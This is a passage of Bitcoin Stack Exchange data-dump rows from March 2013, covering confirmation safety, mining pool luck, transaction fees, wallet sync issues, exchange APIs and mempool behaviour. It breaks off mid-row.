  <row Id="8373" PostTypeId="2" ParentId="8360" CreationDate="2013-03-13T12:09:05.537" Score="18" Body="&lt;p&gt;It depends on your risk model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can trust the person paying you, you can accept payment on 0/unconfirmed if you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a merchant or trader, you want to use the configuration that is more secure (no incoming connections permitted, explicity connect to well-connected nodes).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With zero confirmations you are vulnerable to the race attack and the Finney attack, as well as the 51% attack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With one confirmation you are vulnerable to the 51% attack.  There could also be a miner with a lot of hashing power who could get a couple blocks in a row, so three confirmations removes most of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With six confirmations it is essentially mathematically impossible for an attacker with less than 51% of all mining capacity to get six blocks in a row. and still surpass the longest block chain.  With 51% or a lot more than 51% the attacker can get six confirmations by creating a parallel blockchain in which only transactions approved by the attacker get included in blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A merchant like a retailer can likely accept even on 0/unconfirmed in most instances (e.g., purchases up to $100 worth).     A merchant that ships e-commerce might hold off until the transaction has three confirmations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A cash, face-to-face cash trade will probably be best if three confirmations for a large amount, maybe one confirmation for small amounts. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any recommendation would need to come only after determining which risks are deemed acceptible.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-03-13T12:09:05.537" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8374" PostTypeId="2" ParentId="8360" CreationDate="2013-03-13T13:07:27.283" Score="4" Body="&lt;p&gt;The lesson of the recent v0.7/v0.8 fork issue is that simply waiting for 6 or more confirmations is insufficient.  You also need to satisfy yourself that there are no competing blockchain forks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g. this thread discusses a double spend proof-of-concept that was executed during the chain fork: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=152348.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=152348.0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3327" LastActivityDate="2013-03-13T13:07:27.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8375" PostTypeId="1" CreationDate="2013-03-13T13:34:04.553" Score="5" ViewCount="2106" Body="&lt;p&gt;While looking at the current pool luck chart on &lt;a href=&quot;http://p2pool.info/luck/&quot; rel=&quot;nofollow noreferrer&quot;&gt;p2pool.info&lt;/a&gt;, I noticed that the pool as a whole seems to slowly deviate from the predicted rate of finding blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0C2P1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the other chart it appears that it is consistently underperforming as of 3 weeks ago.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TbZBB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a good reason or is it just a fluke in the probabilities of finding a block?&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-03-14T19:32:37.660" Title="What's causing P2Pool's bad luck?" Tags="|mining-pools|p2pool|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8376" PostTypeId="5" CreationDate="2013-03-13T15:21:13.947" Score="0" Body="&lt;p&gt;Transaction fees have a dual purpose in Bitcoin. First, they protect the network against attacks by increasing the cost of creating spam transactions. Second, they give miners an incentive to include one's transaction in a block. The miners can collect the transaction fees from all of the transactions that are included in their blocks. They are thus incentivized to include transactions that pay higher fees. Transaction fees will also pay miners to continue to operate once the block subsidy reaches zero.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Transaction fees are often expressed as a fee rate. The units are typically satoshis/byte, satoshis/kilobyte, or Bitcoin/kilobyte. Transaction fees are not paid in relation to the value being transferred but rather the size in bytes of the transaction data itself. Miners often choose transactions to include by the transaction fee rate rather than the value of the transaction fee itself.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="48884" LastEditDate="2017-10-20T02:17:32.100" LastActivityDate="2017-10-20T02:17:32.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8377" PostTypeId="4" CreationDate="2013-03-13T15:21:13.947" Score="0" Body="Transaction fees are paid to miners by the sender of a transaction. &#xD;&#xA;&#xD;&#xA;This money rewards miners for the work they do in putting transactions into a specific order and adding them to new blocks to be added to the list of transactions known as the blockchain." OwnerUserId="2306" LastEditorUserId="13866" LastEditDate="2023-05-11T13:27:50.993" LastActivityDate="2023-05-11T13:27:50.993" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="8378" PostTypeId="5" CreationDate="2013-03-13T15:25:33.643" Score="0" Body="&lt;p&gt;Fees charged by Bitcoin exchanges are generally there to 1) prevent abuse of the services and 2) to make the operator some money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fee types fall into 4 categories:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Per exchange fees (Mtgox)&lt;/li&gt;&#xA;&lt;li&gt;Fees on moving money to and from a bank account&lt;/li&gt;&#xA;&lt;li&gt;Per-trade fees&lt;/li&gt;&#xA;&lt;li&gt;Per-account fees&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2013-03-13T15:31:36.943" LastActivityDate="2013-03-13T15:31:36.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8379" PostTypeId="4" CreationDate="2013-03-13T15:25:33.643" Score="0" Body="Related to fees charged by Bitcoin exchanges." OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2013-03-13T15:33:01.040" LastActivityDate="2013-03-13T15:33:01.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8380" PostTypeId="5" CreationDate="2013-03-13T15:52:23.670" Score="0" Body="" OwnerUserId="2306" LastEditorUserId="121614" LastEditDate="2022-12-15T22:32:43.233" LastActivityDate="2022-12-15T22:32:43.233" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="8381" PostTypeId="4" CreationDate="2013-03-13T15:52:23.670" Score="0" Body="Questions about Ripple are off topic. " OwnerUserId="2306" LastEditorUserId="121614" LastEditDate="2022-06-12T20:54:01.207" LastActivityDate="2022-06-12T20:54:01.207" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="8382" PostTypeId="1" CreationDate="2013-03-13T17:14:45.853" Score="3" ViewCount="63" Body="&lt;p&gt;Is it possible to hard code a block and its block hash into the client so that the block chain will never diverge from the main chain past that block?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My thought is that this will improve confidence for long term investors that their transactions are &quot;safe&quot; and can't be rolled back without consensus of the network (a.k.a 51% of the clients have that block as hard coded and can't be rolled back)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Is this a reasonable idea?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Has it been discussed before?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is it already implemented in some form?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2013-03-13T17:14:45.853" Title="Can the Bitcoin protocol be configured to *never* rollback after a certain block?" Tags="|blockchain|security|blockchain-fork|" AnswerCount="0" CommentCount="7" ClosedDate="2013-03-14T08:20:54.320" ContentLicense="CC BY-SA 3.0" />
  <row Id="8383" PostTypeId="1" CreationDate="2013-03-13T19:03:20.220" Score="4" ViewCount="5409" Body="&lt;p&gt;So i recently bought a bitcoin from a vendor , and i had it sent to my Address in multibit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the problem is , the money isn't there and i'm not sure what to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;He told me to get bitcoin (program) and now it's starting to download a chain. Currently it's at 95000. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure what to do exactly , as i'm worried i may have lost my funds. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can i do at this point? Do i wait till the Blockchain is finished or should i import my wallet from Multibit to Bitcoin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks guys!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-D&lt;/p&gt;&#xA;" OwnerUserId="3334" LastEditorUserId="153" LastEditDate="2013-03-14T00:25:52.423" LastActivityDate="2013-03-14T06:44:45.980" Title="Why might MultiBit not show a transaction that was sent to me?" Tags="|blockchain|money|import|multibit|" AnswerCount="1" CommentCount="5" ClosedDate="2013-03-19T21:06:22.343" ContentLicense="CC BY-SA 3.0" />
  <row Id="8384" PostTypeId="1" CreationDate="2013-03-13T20:43:51.183" Score="3" ViewCount="249" Body="&lt;p&gt;I am looking at &lt;a href=&quot;https://en.bitcoin.it/wiki/MtGox/API/HTTP/v1&quot; rel=&quot;nofollow&quot;&gt;mtgox api documentation&lt;/a&gt; and specifically at Multi Currency depth &lt;a href=&quot;http://data.mtgox.com/api/1/BTCUSD/depth/fetch&quot; rel=&quot;nofollow&quot;&gt;http://data.mtgox.com/api/1/BTCUSD/depth/fetch&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It returns back the list of &lt;strong&gt;asks&lt;/strong&gt; and &lt;strong&gt;bids&lt;/strong&gt; and a filter criteria like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;filter_min_price: {&#xA;    value: &quot;42.25504&quot;,&#xA;    value_int: &quot;4225504&quot;,&#xA;    display: &quot;$42.26&quot;,&#xA;    display_short: &quot;$42.26&quot;,&#xA;    currency: &quot;USD&quot;&#xA;},&#xA;filter_max_price: {&#xA;    value: &quot;51.64504&quot;,&#xA;    value_int: &quot;5164504&quot;,&#xA;    display: &quot;$51.65&quot;,&#xA;    display_short: &quot;$51.65&quot;,&#xA;    currency: &quot;USD&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is it possible to apply the custom filter and get the filtered response from the server? Say if I wanted a smaller min/max price range. Can this be done in the API request? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand I can filter the response on the client after I get all the data, but was looking for a way to do it via api&lt;/p&gt;&#xA;" OwnerUserId="3136" LastActivityDate="2018-01-27T03:51:31.353" Title="Custom filter for mtgox depth api request" Tags="|mtgox|api|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8386" PostTypeId="1" CreationDate="2013-03-14T01:43:15.513" Score="-2" ViewCount="821" Body="&lt;p&gt;What would next generation cryptocurrency would look like? What are the major weaknesses that you think we could solve? How do you envision it could be implemented technically? For example: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How could tracing transaction be eliminated or reduced? &lt;/li&gt;&#xA;&lt;li&gt;How could security be improved?&lt;/li&gt;&#xA;&lt;li&gt;Etc.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3341" LastEditorUserId="44" LastEditDate="2013-05-09T23:36:33.390" LastActivityDate="2013-08-19T21:54:53.693" Title="What improvements could a next-generation cryptocurrency implement?" Tags="|security|weaknesses|architecture|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8387" PostTypeId="1" AcceptedAnswerId="8388" CreationDate="2013-03-14T03:43:19.417" Score="1" ViewCount="509" Body="&lt;p&gt;According to the &lt;a href=&quot;https://en.bitcoin.it/wiki/History#2010&quot; rel=&quot;nofollow&quot;&gt;Bitcoin history&lt;/a&gt;, the OpenCL miner was released publicly in October 2010. How was mining done before that? There were about 4 million coins mined until then, so there must have been some mining software out there. Any ideas on what was it and how did mining work in those early days?&lt;/p&gt;&#xA;" OwnerUserId="1528" LastEditorUserId="5406" LastEditDate="2016-02-21T10:34:50.187" LastActivityDate="2016-02-21T10:34:50.187" Title="How did mining occur before OpenCL?" Tags="|history|mining-software|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8388" PostTypeId="2" ParentId="8387" CreationDate="2013-03-14T04:08:32.513" Score="1" Body="&lt;p&gt;Before GPU mining all mining was done on the CPU.&lt;/p&gt;&#xA;" OwnerUserId="2630" LastActivityDate="2013-03-14T04:08:32.513" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8389" PostTypeId="1" CreationDate="2013-03-14T05:45:30.347" Score="2" ViewCount="628" Body="&lt;p&gt;When I try to open my BitCoin wallet, I get a &quot;failed to read block&quot; message and it will not open. What does this mean and how can this be rectified?&lt;/p&gt;&#xA;" OwnerUserId="3343" LastEditorUserId="132" LastEditDate="2013-03-14T09:08:39.447" LastActivityDate="2013-03-15T02:17:22.020" Title="What is &quot;failed to read block&quot; and how can this be fixed?" Tags="|bitcoin-core|" AnswerCount="0" CommentCount="3" ClosedDate="2015-01-17T17:42:15.280" ContentLicense="CC BY-SA 3.0" />
  <row Id="8390" PostTypeId="1" CreationDate="2013-03-14T06:18:04.900" Score="15" ViewCount="1241" Body="&lt;p&gt;A feature available through &lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/1647&quot;&gt;pull #1647&lt;/a&gt; gives the recipient of a transaction a method to help get a transaction to confirm. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This feature is called &quot;child pays for parent&quot;, and what it means is that the recipient of a transaction can create a new transaction using funds from the unconfirmed transaction, but any fee paid would help get both transactions confirmed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A scenario where this is useful is where a merchant requires that a transaction have three or six confirmations before the item will be shipped out, but the payment the customer made ended up being a low-priority transaction due to it including many Bitcoin &quot;dust&quot; inputs.  The merchant then creates a spend transaction using the funds received but pays a fee that will encourage miners to include both transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since this feature is not in the Bitcoin-Qt/bitcoind client, only miner pools that have a custom client that includes this pull will consider the fee paid by any child transactions when determining if a transaction should get included into a block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any miner pools or large solo miners who are running with this feature?&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="5406" LastEditDate="2016-02-21T10:35:52.390" LastActivityDate="2016-02-21T10:35:52.390" Title="Are there any pools or large miners running &quot;child pays for parent&quot; patch?" Tags="|transactions|transaction-fees|transaction-selection|child-pays-for-parent|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8391" PostTypeId="2" ParentId="8383" CreationDate="2013-03-14T06:44:45.980" Score="3" Body="&lt;p&gt;You can ask the vendor for the transaction id of the transaction where they sent the bitcoin to you. Look it up on &lt;a href=&quot;https://blockchain.info&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info&lt;/a&gt; to check it exists and is sending bitcoin to your receiving address correctly. Look at the date of the transaction. Go into MultiBit, select your wallet and choose the menu option 'Tools | Reset blockchain and transactions'. Reset from the day before the transaction. Once it has resynced to the network you should see it in MultiBit.&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2013-03-14T06:44:45.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8392" PostTypeId="2" ParentId="8363" CreationDate="2013-03-14T09:37:52.700" Score="3" Body="&lt;p&gt;New currencies that supply similar features to Bitcoins can increase the effective supply to the extent the coins are interchangeable in the market. Even if the other coin is worth, say, one tenth as much as a Bitcoin, ten of that coin can still be used as a market substitute for one Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on the currency's properties, however, it can also increase the demand for Bitcoins, which can drive the price up. If it brings in new users, new merchants, or even new speculative interest, that can be an upward force.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I think your question about competition, following the question about market price, just assumes that higher prices are good for currencies. I have to disagree with this for several reasons. First, Bitcoin is still in the early stages. It needs to be adopted as a means of exchange to survive long term. Increase in prices can discourage adoption because high prices can increase the fear of a &quot;bubble burst&quot; leading to a sudden drop. Currency risk drives down adoption.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The value of a Bitcoin can be a good measure of adoption because use as a means of exchange drives up demand which drives up price. But the converse doesn't follow. The absolute price of Bitcoin has no effect on its suitability for use as a means of exchange. If it's worth half as much, you just use twice as much.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-03-14T09:37:52.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8393" PostTypeId="2" ParentId="4632" CreationDate="2013-03-14T11:02:17.670" Score="3" Body="&lt;p&gt;Using bitcoin-qt for an interface:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;listaddressgroupings&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is the command which will list all addresses in use. Run it in the debug console window from the 'Help/Debug Window' screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, apparently, you can dump all the private keys, but only one at a time, using dumpprivkey for each key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seems lame.&lt;/p&gt;&#xA;" OwnerUserId="3346" LastActivityDate="2013-03-14T11:02:17.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8394" PostTypeId="2" ParentId="1354" CreationDate="2013-03-14T11:30:47.583" Score="2" Body="&lt;p&gt;There is a difference between sweeping a key and importing it.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;When you import a key no Bitcoin transaction occurs, the key is added to your key collection, the person that gave you the key can still spend the funds&lt;/li&gt;&#xA;&lt;li&gt;When you sweep a key that means you import it and transfer the funds to another address, in this case the person that gave you the key cannot spend the funds anymore but since a Bitcoin transaction is necessary to effectively move the money the client may (or may not) require a transaction fee.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2593" LastActivityDate="2013-03-14T11:30:47.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8395" PostTypeId="1" CreationDate="2013-03-14T16:20:26.770" Score="1" ViewCount="150" Body="&lt;p&gt;Can I somehow create a transaction that is broadcasted over the bitcoin network but will not go into a block?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Might be handy for SatoshiDice like confirmations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit:&#xA;What I have in mind is transporting information over the bitcoin network without bloating the blockchain.&lt;/p&gt;&#xA;" OwnerUserId="257" LastEditorUserId="257" LastEditDate="2013-03-14T17:45:54.420" LastActivityDate="2013-03-15T03:29:34.027" Title="Is it possible to transmit a tx over the network that does not go into the blockchain?" Tags="|transactions|spam|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8396" PostTypeId="2" ParentId="8395" CreationDate="2013-03-14T17:03:27.953" Score="0" Body="&lt;p&gt;It is perfectly possible to create a transaction that is valid but not broadcast to the Bitcoin network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However the usefulness is a doubtful because what such a transaction will tell is basically &quot;the person that created this transaction had control over this amount of money at this point of time&quot;, it has no use to actually transmit value as the blockchain does not timestamp the transaction by including it in a block and no one will acknowledge that the money has changed hands.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to detail your use case you may get a better answer.&lt;/p&gt;&#xA;" OwnerUserId="2593" LastActivityDate="2013-03-14T17:03:27.953" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8397" PostTypeId="2" ParentId="8395" CreationDate="2013-03-14T19:19:24.440" Score="2" Body="&lt;p&gt;This has two problems:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The network still needs to remember those transactions, so this doesn't save storage space.&lt;/li&gt;&#xA;&lt;li&gt;If someone does a double-spend attack, two nodes could believe two different things about the state of the network, depending on which transaction they heard about first. Over time, their views of the network would diverge more and more.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-03-14T19:19:24.440" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8398" PostTypeId="2" ParentId="8375" CreationDate="2013-03-14T19:32:37.660" Score="3" Body="&lt;p&gt;This looks like plain old bad luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P2pool is a small pool and 3 weeks is a short time. With current hashpower at pools this is like measuring BTCGuild for less than 12 hours. BTCGuild can have bad luck for 12 hours, and P2pool can have bad luck for 3 weeks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, all pools underperform on average when compared to a simple expected income. That's because of orphaned blocks, typically 1 to 2 percent. And if you count stale/rejected shares in the hashrate, then it will underperform even more. But if income from transaction fees is not included in that expected average, then that may even out the orphans and stale work.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2013-03-14T19:32:37.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8399" PostTypeId="1" CreationDate="2013-03-14T22:14:42.550" Score="3" ViewCount="2524" Body="&lt;p&gt;Every time a pool mines a orphaned block, that is wasted effort for the pool.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In an interest to increase pool efficiency and overall network efficiency, what can a pool do to increase efficiency when mining, and prevent orphaned blocks?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some ideas may include&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Polling other pools&lt;/li&gt;&#xA;&lt;li&gt;Certain BIP technologies (etc)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="5406" LastEditDate="2023-10-20T17:16:43.420" LastActivityDate="2023-10-20T17:16:43.420" Title="How can pool operators reduce the number of orphaned blocks that they mine?" Tags="|mining-pools|mining-profitability|stale-block|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8400" PostTypeId="1" CreationDate="2013-03-14T23:45:59.767" Score="4" ViewCount="1346" Body="&lt;p&gt;I am interested in running a well-connected node, and I was wondering: is the memory footprint directly correlated to the number of connections?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And more broadly: with what RAM usage increases?&lt;/p&gt;&#xA;" OwnerUserId="3351" LastEditorUserId="3351" LastEditDate="2013-03-14T23:52:46.027" LastActivityDate="2013-03-15T03:26:21.280" Title="To what is bitcoind memory usage bound?" Tags="|bitcoind|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8401" PostTypeId="1" CreationDate="2013-03-15T00:19:16.887" Score="3" ViewCount="1275" Body="&lt;p&gt;When I try to send BTC from my Electrum wallet address to one of my unused addresses in Electrum, just as a test, it comes up with an error message &lt;code&gt;(U'message':u'TX rejected, U'code':-22)&lt;/code&gt;.&#xA;I'm using electrum-1.6.2 Install version on my Windows 7 64-bit PC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I changed the Electrum server and then the transmission worked, so I guess it was an error transmitting data to the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone confirm that Error &quot;22&quot; refers to a transmission error to the server?&#xA;Also, is there a list of error message numbers, so in future I can refer to the list?&lt;/p&gt;&#xA;" OwnerUserId="3352" LastEditorUserId="196" LastEditDate="2013-03-15T17:52:48.723" LastActivityDate="2015-07-09T10:40:06.043" Title="Electrum Error Message &quot;22&quot;" Tags="|address|electrum|error|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8402" PostTypeId="1" AcceptedAnswerId="8429" CreationDate="2013-03-15T00:35:17.043" Score="1" ViewCount="690" Body="&lt;p&gt;Can a Finney Attack make SatoshiDice betting profitable? If you perform a Finney Attack whenever your bet fails (by replacing it with a transaction to yourself), then would it make betting profitable, even though the Finney attack won't always work? How much mining power would you need to break even on profitability?&lt;/p&gt;&#xA;" OwnerUserId="2526" LastEditorUserId="5406" LastEditDate="2016-08-02T06:09:14.460" LastActivityDate="2016-08-02T06:09:14.460" Title="Can a Finney Attack make SatoshiDice betting profitable?" Tags="|security|satoshidice|finney-attack|" AnswerCount="1" CommentCount="0" ClosedDate="2013-03-18T17:09:48.680" ContentLicense="CC BY-SA 3.0" />
  <row Id="8405" PostTypeId="2" ParentId="8401" CreationDate="2013-03-15T03:04:28.367" Score="1" Body="&lt;p&gt;I've been reading the source code of Electrum, and it turns out that the reason why you can't find anything about this is that it's not an Electrum error-it's an error generated by the Bitcoin client, and Electrum is just passing it along.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, what causes the error?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a bunch of ways it can happen (like trying to send a coinbase transaction), but the number one way that this can happen is if you send the same transaction twice. Unfortunatly, the current implementation of &lt;code&gt;sendrawtransaction&lt;/code&gt; doesn't really give you any information about why.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(For those that are interested, the relevant error is on &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/rpcrawtransaction.cpp#L555&quot; rel=&quot;nofollow&quot;&gt;line 555 of rpcrawtransaction.cpp&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-03-15T03:04:28.367" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8406" PostTypeId="2" ParentId="8400" CreationDate="2013-03-15T03:26:21.280" Score="4" Body="&lt;p&gt;RAM usage increases until it is slightly less than the total RAM available. This is due to the design of the operating system which intentionally keeps as little RAM free as possible, using all excess RAM as a disk cache to reduce I/O.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-03-15T03:26:21.280" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8408" PostTypeId="1" CreationDate="2013-03-15T08:19:59.533" Score="8" ViewCount="620" Body="&lt;p&gt;What would happen, if I would create a large number of large transactions with a very high &lt;code&gt;nLockTime&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would something stop me from filling not only the miners', but also regular nodes' &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#mempool&quot; rel=&quot;nofollow&quot;&gt;mempool&lt;/a&gt;s?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would miners drop transactions with unreasonably high &lt;code&gt;nLockTime&lt;/code&gt; and low transaction fee?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would BitcoinCore do?&lt;/p&gt;&#xA;" OwnerUserId="257" LastEditorUserId="5406" LastEditDate="2014-10-03T10:54:16.457" LastActivityDate="2019-12-18T19:45:35.300" Title="Can nLockTime TX be used to flood Mempools?" Tags="|security|locktime|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8409" PostTypeId="2" ParentId="6055" CreationDate="2013-03-15T10:49:24.743" Score="-1" Body="&lt;p&gt;I work at a domain registration company who are about to offer anonymity with bitcoin funded domain registration. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have been accepting Bitcoin for almost a year. We are about to set up this new service that will allow our customers to register domains using Bitcoin and remain anonymous to ICANN, Whois databases and the general public.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are currently in the pre-alpha stage of developing the service, but will soon be shipping it out. In terms of answering your question, our service will allow you to remain anonymous online because we will complete the compulsory ICANN-mandated registration form with our own information. To all intents and purposes, we will be your domain trustee. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course you will be in complete control of the domain, and we will sign a contract assuring you of your ownership. But any information which you give to us will not be stored publicly and will be treated with absolute confidentiality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not know of any other registrar currently who offers this service, but I'm sure someone will be able to point you in the direction of some others. We will announce the release of the service on our &lt;a href=&quot;http://www.frankdomains.com/pay-for-domains-with-bitcoins/&quot; rel=&quot;nofollow&quot;&gt;website&lt;/a&gt;, keep an eye out for when we go live.&lt;/p&gt;&#xA;" OwnerUserId="2650" LastEditorUserId="2650" LastEditDate="2013-03-18T12:26:20.890" LastActivityDate="2013-03-18T12:26:20.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8410" PostTypeId="1" CreationDate="2013-03-15T12:56:07.110" Score="0" ViewCount="162" Body="&lt;p&gt;I'm using version &lt;code&gt;40000&lt;/code&gt; of bitcoind and yesterday it stopped receiving new confirmations. Here is the &lt;code&gt;getinfo&lt;/code&gt; for it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &quot;version&quot; : 40000,&#xA; &quot;balance&quot; : x,&#xA; &quot;blocks&quot; : 225454,&#xA; &quot;connections&quot; : 8,&#xA; &quot;proxy&quot; : &quot;&quot;,&#xA; &quot;generate&quot; : false,&#xA; &quot;genproclimit&quot; : -1,&#xA; &quot;difficulty&quot; : 4367876.00084220,&#xA; &quot;hashespersec&quot; : 0,&#xA; &quot;testnet&quot; : false,&#xA; &quot;keypoololdest&quot; : 1362824413,&#xA; &quot;keypoolsize&quot; : 101,&#xA; &quot;paytxfee&quot; : 0.00000000,&#xA; &quot;errors&quot; : &quot;URGENT: upgrade required, see http://bitcoin.org/dos for details&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My blkindex.dat is currently 7.89GB (split over 5 files) and database log c. 12GB. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I do to fix this? &#xA;I see that it's recommended to upgrade due to a DOS vulnerability but unless I am sure that this is the cause of the problem I don't want to go to the trouble of changing the setup.&lt;/p&gt;&#xA;" OwnerUserId="1391" LastActivityDate="2013-03-15T12:56:07.110" Title="Suddenly no new confirmations on 